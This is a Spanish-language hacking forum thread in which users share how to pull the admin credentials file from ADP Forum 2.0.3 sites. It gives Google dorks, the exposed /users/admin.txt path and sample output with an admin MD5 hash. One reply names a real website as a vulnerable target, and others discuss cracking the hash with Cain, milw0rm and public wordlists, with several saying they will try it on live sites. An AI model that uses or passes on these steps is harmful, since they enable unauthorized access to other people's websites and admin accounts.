ADP Forum 2.0.3 is powered by VzScripts ---- vulneravilidad que nos da el MD5

[KM]

En realidad no existe algo mas facil  que esto.

Esto es lo que nos dara un foro vulnerable al ejecutar de la siguiente manera este codigo.En foros Dork:ADP Forum 2.0.3 is powered by VzScripts

http:/[target]/[path]/users/admin.txt

admin
Master Member
115
images/avatars/1120150756.gif
http://www..com
9368439
30-06-2005
Admin
6c41745bbdf353a134a3d8207eb82ea4
1120150756

[kobe]

 

Pobres de los que usen ese foro, esta muy inocente el error

[ElecBoy]

Ala verdad que el que hizo ese Script es bien inteligente!

[freshjive]

recomendado para los que despues no saben que hacer cuando los amenazan los administradores

avisar a los admin...
Komtec1

[kazin]

Ala verdad que el que hizo ese Script es bien inteligente!

Inteligente?

Creo que esto ya supero todas mis espectativas de lo que es FACIL

Ya es demasiado... increible que aun exista gente con sistemas tan vulnerables

[cMr_Newbie]

http:/[target]/[path]/users/admin.txt

Oye bro, no entiendo que es lo que tiene que ir en eso de target  ni el path, que es lo que se debe de poner ahí o que,, dame un ejemplo para darme una idea bro , si me pudieras hacer el favor bro 

admin
Master Member
115
images/avatars/1120150756.gif
http://www..com
9368439
30-06-2005
Admin
6c41745bbdf353a134a3d8207eb82ea4
1120150756

Y de esto que pusiste explicame un poco mas para entender mas bien de esta vulnerabilidad bro.

[KM]

Deverias aprender cositas basicas men, como lo  que significa un target. Pero como yo tampoco lo sabiar y me lo digeron pues aqui tienes con un site vul..

target= direccion url de la web.
path= modulo    /foro/    o   /buscador/  etc.....

http:/[target]/[path]/users/admin.txt

http://pagina/modulovulnerqble//users/admin.txt



http://www.mejorambiente.com.mx/foro/

[cMr_Newbie]

  jejej, gracias bro, la verdad y si tienes razón pero ese día ya después me explicó Komtec1, e incluso ví que también se les puede hacer algo a los foros que nada mas tengas powered by VzScrtip sin necesidad de que sean de ADP  , ya que yo lo hice en uno de VzScript sin ADP y no se veía ningún post  ... muchas gracias por tu ayuda bro .......

.y Gracias Komtec1...

[the_hacker_666]

Muy bueno.... a probar

[kazin]

Estube investigando un poco... aparentemente todos los d0rks son estos:

Code Select Expand

"ADP Forum 2.0.3 is powered by VzScripts"
"ADP Forum 2.0.2"
"ADP Forum 2.0.1"
"ADP Forum 2.0"

[the_hacker_666]

y ese hash en que esta encriptado? md5? :S no pude crackearlo en milw0rm (ninguno de las 6 o 7 webs vulnerables que encontre...)

[kazin]

Por ahi no lo encuentra milw0rm... porque no provas con un crack manual? a brute force puede funcionar

[the_hacker_666]

probe con el cain... y tampoco lo saco... tarde dos dias xD (no queria consumir mucha memoria).

[KM]

A BrutoForce para mi que es algo mmmm impaciente, usate estos wordlist, talvez te funcione..

ftp://ftp.ox.ac.uk/pub/wordlists/

[the_hacker_666]

gracias..... probando.....